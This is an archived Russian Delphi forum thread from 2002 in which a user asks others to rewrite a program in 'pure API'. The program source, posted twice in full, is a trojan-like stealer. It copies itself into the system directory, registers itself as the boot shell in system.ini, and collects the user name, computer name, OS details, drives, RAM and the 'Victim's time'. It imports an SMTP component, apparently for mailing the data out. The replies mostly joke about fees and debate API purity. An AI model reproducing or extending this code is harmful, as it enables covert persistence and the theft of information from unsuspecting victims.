Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2002.12.16;
Скачать: [xml.tar.bz2];

Вниз

Ох уж этот API   Найти похожие ветки 

 
X-shadow   (2002-11-02 16:02) [0]

Люди, у меня к вам очень большая просьба!!!Не могли бы вы переделать эту прогу в код API? Заранее благодарен!
program systray32;

uses
Windows,
SysUtils,
NMSMTP;

function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
i:TNMSMTP;
PCNAME:string;
cPath,Win:string;
s:string;
begin
Win:=WinDir+"\systray32.exe";
if (cPath <> Win) then
begin
if FileExists(Win) then DeleteFile(Win);
CopyFile(PChar(cPath),PChar(Win),False);
writeprivateprofilestring("boot","shell",pchar(" systray32.exe"),"system.ini");
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;


 
nikus   (2002-11-05 12:54) [1]

чё-нить попроще низзя?


 
Song   (2002-11-05 13:00) [2]

Ну... баксов 50 может кто и возьмётся.


 
Игорь Шевченко   (2002-11-05 13:10) [3]

Собственно говоря, это API и есть. Что-то не устраивает ?


 
Diamond Cat   (2002-11-05 13:21) [4]

Согласен с Игорем , чего ту не устраивает?
так что мысль о 50$ которую тут кто-то закинул, можно считать неудачной шуткой


 
Наезжалкин   (2002-11-05 13:49) [5]

50$ мало. просите 200$


 
Anatoly Podgoretsky   (2002-11-05 13:57) [6]

Наезжалкин (05.11.02 13:49)
Это тоже щутка, вот 500 уже не щутка


 
Song   (2002-11-05 14:16) [7]

2Игорь Шевченко © (05.11.02 13:10)
Игорь, я бы сказал, что это будет полностью АПИ, если в uses ничего не будет.


 
Xemax   (2002-11-05 14:19) [8]

Ну вот тебе код: (переделано из API в API, а точнее здесь ничего не переделовалось).

program systray32;

uses
Windows,
SysUtils,
NMSMTP;

function WinDir: string;
var
intLen:integer;
strBuffer:string;
begin
SetLength(strBuffer,1000);
intLen:=GetSystemDirectory(PChar(strBuffer),1000);
WinDir:=Trim(Copy(strBuffer,1,intLen));
end;

const typstr:array[DRIVE_REMOVABLE..DRIVE_RAMDISK] of string[11]=
("[Removable]","[Fixed]","[Local]","[CD-ROM]","[RAM]");
var str:string;
ov:_osversioninfoa;
buf:array[0..255]of char;
tmp,tmp2,tmp3:int64;
tmp4:cardinal;
st:_systemtime;
ms:tmemorystatus;
c:char;
typ:integer;
Language:String;
LanguageID:LangID;
Lang: array [0..100] of char;
i:TNMSMTP;
PCNAME:string;
cPath,Win:string;
s:string;
begin
Win:=WinDir+"\systray32.exe";
if (cPath <> Win) then
begin
if FileExists(Win) then DeleteFile(Win);
CopyFile(PChar(cPath),PChar(Win),False);
writeprivateprofilestring("boot","shell",pchar(" systray32.exe"),"system.ini");
ov.dwOSVersionInfoSize:=sizeof(_osversioninfoa);
getversionex(ov);
case ov.dwPlatformId of
VER_PLATFORM_WIN32s: str:=str+"3.1 + Win32s ";
VER_PLATFORM_WIN32_WINDOWS: if ov.dwMinorVersion=10 then str:=str+"98 " else if ov.dwMinorVersion=0 then str:=str+"95 " else str:=str+"9X/ME ";
VER_PLATFORM_WIN32_NT: str:=str+"WinNT/Win2000/WinXP";
end;
LanguageID:=GetSystemDefaultLangID;
VerLanguageName(LanguageID,Lang,100);
Language:=(Lang);
str:="Win version: "+str+inttostr(ov.dwMajorVersion)+"."+inttostr(ov.dwMinorVersion)+"."+inttostr(loword(ov.dwBuildNumber))+"("+ov.szCSDVersion+")"#13#10+"Windows directory: ";
getwindowsdirectory(buf,255);
str:=str+buf+#13#10+"System directory: ";
getsystemdirectory(buf,255);
str:=str+buf+#13#10+"Temp directory: ";
gettemppath(255,buf);
str:=str+buf;
str:=str+#13#10"Mouse: ";
tmp4:=getsystemmetrics(SM_CMOUSEBUTTONS);
if tmp4=0 then str:=str+"?? ????????????" else str:=str+" Present ("+inttostr(tmp4)+" buttons)";
str:=str+#13#10"Screen resolution: "+inttostr(getsystemmetrics(SM_CXSCREEN))+"x"+inttostr(getsystemmetrics(SM_CYSCREEN));
getlocaltime(st);
str:=str+#13#10"Victim""s time: "+inttostr(st.wHour)+":"+inttostr(st.wMinute);
ms.dwLength:=sizeof(ms);
globalmemorystatus(ms);
str:=str+#13#10"RAM: "+inttostr(ms.dwTotalPhys div 1000)+" Kb";
tmp4:=255; getusername(@buf,tmp4);
str:=str+#13#10"User name: "+buf;
tmp4:=255; getcomputername(@buf,tmp4);
str:=str+#13#10"Computer name: "+buf;
PCNAME:=buf;
str:=str+#13#10"language: "+Language;
str:=str+#13#10"PC is Up for: "+inttostr(gettickcount div 60000)+" minute(s) ( >"+inttostr(gettickcount div (60000*60))+" hour)"#13#10;
str:=str+#13#10"Drives:"#13#10;
for c:="A" to "Z" do begin
typ:=getdrivetype(pchar(c+":\"));
if typ>1 then begin
if ((ov.dwPlatformId=VER_PLATFORM_WIN32_WINDOWS)and((ov.dwMinorVersion>=10)or(ov.dwBuildNumber>1000)))or(ov.dwPlatformId=VER_PLATFORM_WIN32_NT) then begin
if ((typ=DRIVE_FIXED)or(typ=DRIVE_REMOTE)or(typ=DRIVE_RAMDISK)) then begin
getdiskfreespaceex(pchar(c+":\"),tmp,tmp2,@tmp3);
str:=str+c+": "+typstr[typ]+" (size: "+inttostr(tmp2 div 1000000)+" Mb; free: "+inttostr(tmp3 div 1000000)+" Mb)"#13#10;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end else begin
str:=str+c+": "+typstr[typ]+#13#10;
end;
end;
end;


P.S. Где мои 500 баксов ? собствено Игорь Шевченко © (05.11.02 13:10) вам и сказал что это API.




 
Eugen Honeker   (2002-11-05 14:26) [9]

свами не согласен, ето было бы чисто апи,
если sysutils выкинуть, сокеты самому написать и
чтобы вся прога была всего ~10-15 kb.

тогда можно и 500 баксов запросит, или X-shadow?


 
Игорь Шевченко   (2002-11-05 15:58) [10]

Song © (05.11.02 14:16)

:-) Это новый критерий ? Поделитесь, я отстал от жизни.



 
Song   (2002-11-05 16:01) [11]

В uses Вы включаете модули - VCL. Полагаю что здесь всё понятно.


 
Игорь Шевченко   (2002-11-05 16:19) [12]

Song © (05.11.02 16:01)

Эти:

Windows,
SysUtils

?

:-)



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2002.12.16;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.49 MB
Время: 0.007 c
6-51852
ULTRIX
2002-10-10 22:01
2002.12.16
Получение ресурсов к папке


14-51948
Fishka
2002-11-26 09:19
2002.12.16
Как скопировать CD, защищенный от копирования?


1-51785
Данил
2002-12-04 12:14
2002.12.16
Как убрать кнопку закрытия пристыкованной формы?


4-52021
Anar
2002-11-03 22:54
2002.12.16
Handle


1-51676
Fishka
2002-12-05 15:44
2002.12.16
Принадлежность точки контуру - где найти теорию?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский